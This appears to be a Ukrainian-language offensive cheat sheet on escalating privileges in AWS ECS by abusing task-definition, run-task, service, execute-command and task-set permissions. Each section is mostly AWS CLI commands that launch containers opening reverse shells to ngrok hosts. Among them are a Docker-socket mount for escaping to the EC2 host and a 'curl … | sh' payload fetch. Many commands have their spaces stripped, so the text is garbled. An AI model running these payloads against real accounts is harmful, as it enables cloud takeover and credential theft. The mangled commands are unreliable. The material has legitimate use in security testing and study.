Зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition та ecs:RunTask в ECS, може створити нову задачу з шкідливим контейнером, який краде облікові дані метаданих і запустити її.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Потенційний вплив: Пряме підвищення привілеїв до іншої ролі ECS.
Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask в ECS, може створити нове визначення завдання з шкідливим контейнером, який краде облікові дані метаданих і запустити його.
Однак у цьому випадку потрібно, щоб контейнерна інстанція запустила шкідливе визначення завдання.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"awsecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі ECS.
Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService або ecs:CreateService в ECS, може створити нове визначення завдання з шкідливим контейнером, який краде облікові дані метаданих, і запустити його, створивши нову службу з принаймні 1 запущеним завданням.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі ECS.
Насправді, лише з цими дозволами можливо використовувати переопределення для виконання довільних команд у контейнері з довільною роллю за допомогою чогось на кшталт:
Цей сценарій схожий на попередні, але без дозволу iam:PassRole.
Це все ще цікаво, оскільки, якщо ви можете запустити довільний контейнер, навіть якщо це без ролі, ви могли б запустити привілейований контейнер, щоб втекти на вузол і вкрасти IAM роль EC2 та інші ролі контейнерів ECS, що працюють на вузлі.
Ви навіть могли б примусити інші завдання працювати всередині EC2 екземпляра, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорювалося в Розділі підвищення привілеїв до вузла).
Цей напад можливий лише якщо кластер ECS використовує EC2 екземпляри, а не Fargate.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
Зловмисник з ecs:ExecuteCommand, ecs:DescribeTasks може виконувати команди всередині запущеного контейнера та ексфільтрувати IAM роль, що до нього прикріплена (вам потрібні права опису, оскільки це необхідно для виконання aws ecs execute-command).
Однак, для цього екземпляр контейнера повинен працювати з агентом ExecuteCommand (який за замовчуванням не активований).
Отже, зловмисник може спробувати:
Спробувати виконати команду в кожному запущеному контейнері
# List enableExecuteCommand on each taskfor cluster in $(awsecslist-clusters|jq.clusterArns|grep'"'|cut-d'"'-f2); doecho"Cluster $cluster"for task in $(awsecslist-tasks--cluster"$cluster"|jq.taskArns|grep'"'|cut-d'"'-f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
Якщо він має ecs:RunTask, запустіть задачу за допомогою aws ecs run-task --enable-execute-command [...]
Якщо він має ecs:StartTask, запустіть задачу за допомогою aws ecs start-task --enable-execute-command [...]
Якщо він має ecs:CreateService, створіть сервіс за допомогою aws ecs create-service --enable-execute-command [...]
Якщо він має ecs:UpdateService, оновіть сервіс за допомогою aws ecs update-service --enable-execute-command [...]
Ви можете знайти приклади цих опцій у попередніх розділах ECS privesc.
Потенційний вплив: Privesc до іншої ролі, прикріпленої до контейнерів.
ssm:StartSession
Перевірте на сторінці ssm privesc, як ви можете зловживати цим дозволом для privesc до ECS:
Зловмисник з дозволами ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet та ecs:DescribeTaskSets може створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач. Це дозволяє зловмиснику виконувати довільний код у межах сервісу.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceawsecscreate-task-set--clusterexisting-cluster--serviceexisting-service--task-definitionmalicious-task--network-configuration"awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"# Update the primary task set for the serviceawsecsupdate-service-primary-task-set--clusterexisting-cluster--serviceexisting-service--primary-task-setarn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Потенційний вплив: Виконання довільного коду в ураженій службі, що потенційно вплине на її функціональність або ексфільтрацію чутливих даних.
